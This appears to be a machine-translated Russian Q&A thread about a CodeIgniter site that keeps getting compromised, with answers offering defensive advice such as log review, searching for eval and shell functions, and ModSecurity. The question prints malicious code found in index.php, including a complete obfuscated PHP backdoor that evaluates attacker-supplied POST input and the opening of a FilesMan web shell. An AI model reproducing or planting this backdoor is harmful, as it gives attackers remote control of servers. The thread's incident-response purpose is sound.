Подтвердить что ты не робот

Приложение Codeigniter получает взломанный код, введенный в index.php

У меня есть проект codeigniter 2.0.2, который продолжает взломать. Существуют две основные проблемы:

  • В начало файла index.php добавляется вредоносный код
  • Файлы Rogue добавляются на сервер

В соответствии с хостом нет FTP-журналов, чтобы указать, что эти файлы были загружены.

  • Поскольку нет журналов загрузки FTP, связанных с файлами-изгоев, означает ли это, что это должен быть эксплойт через сам сайт, например. контакт или выгрузка формы?

  • Сайт находится на общедоступном хостинге - код, который является сайтом на том же сервере, также взломан, и это вызывает проблемы?

  • Помогло бы мне изменить имя файла index.php на что-то еще?

  • Как изменяется index.php, если я CHMOD его до 644?

  • Я искал, какие предлагаемые разрешения для проектов codeigniter, но еще не получены. Я думал 644 через сайт, кроме каталога upload/logs (777) - это звучит нормально?

Код, введенный в начало файла index.php:

<?php if(isset($_GET["t6371n"])){ $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;$default_charset="Windows-

за которым следует длинный оператор preg_replace с длинной кодированной строкой. За этим следует второе утверждение:

if(isset($_GET["w6914t"])){$d=substr(8,1);foreach(array(36,112,61,64,36,95,80,79,83,84,91,39,112,49,39,93,59,36,109,61,115,112,114,105,110,116,102,40,34,37,99,34,44,57,50,41,59,105,102,40,115,116,114,112,111,115,40,36,112,44,34,36,109,36,109,34,41,41,123,36,112,61,115,116,114,105,112,115,108,97,115,104,101,115,40,36,112,41,59,125,111,98,95,115,116,97,114,116,40,41,59,101,118,97,108,40,36,112,41,59,36,116,101,109,112,61,34,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,34,46,97,100,100,99,115,108,97,115,104,101,115,40,104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115,40,111,98,95,103,101,116,95,99,108,101,97,110,40,41,41,44,34,92,110,92,114,92,116,92,92,39,92,48,34,41,46,34,39,59,92,110,34,59,101,99,104,111,40,115,116,114,108,101,110,40,36,116,101,109,112,41,46,34,92,110,34,46,36,116,101,109,112,41,59,101,120,105,116,59)as$c){$d.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$c);}eval($d);}

Существует контактная форма и форма, в которой пользователь может загружать элементы, используя CKFinder 2.0.1. Перейти к обновлению и посмотреть, разрешит ли это.

4b9b3361

Ответ 1

Есть несколько вещей, которые вы можете сделать:

  • Проверяйте свои лог файлы для POST-запросов на файлы со странными или незнакомыми именами, например. .cache_123.php - это могут быть бэкдор-скрипты, особенно имена файлов, начинающиеся с точки, скрывая их от (обычной) файловой системы.
  • Загрузите полный веб-сайт и выполните поиск по всему сайту для таких вещей, как base64_decode, exec, preg_replace, passthru, system, shell_exec, eval, FilesMan
  • Проверяйте весь сайт (скачанный в прямом эфире), выполнив его с помощью антивирусного программного обеспечения (AVG, Avast,...)
  • Chmod загружает каталоги 775 вместо 777, если возможно

Ответ 2

Я знаю, что это старый поток, но я хотел бы добавить опцию, чтобы выяснить, что и где возникает проблема.

Создайте крючок, который загружается каждый раз (неважно, на каком этапе) и выгружает $this- > input- > post() и → get() в файл журнала вместе с именем класса и имени метода.

Таким образом вы увидите достаточно быстро, где проблема началась.

Ответ 3

Мне кажется, гораздо проще взломать приложение PHP, а не FTP-сервер. Есть ли у вас какие-либо формы для загрузки? Если вы не можете пойти с VPS, попросите свой хост переместить его на другой общий сервер.

Ответ 4

Я думаю, вам действительно нужно выполнить проверку кода, чтобы найти, где лежит основная уязвимость. Если вы не выполняете какие-либо проверки целостности, вы не можете быть уверены, что злоумышленник поставил backdoor в другие файлы.

В качестве быстрого исправления я предлагаю вам установить модуль ModSecurity Apache, если это возможно. Затем найдите места в коде, где может произойти инъекция файла (как правило, функции загрузки файлов).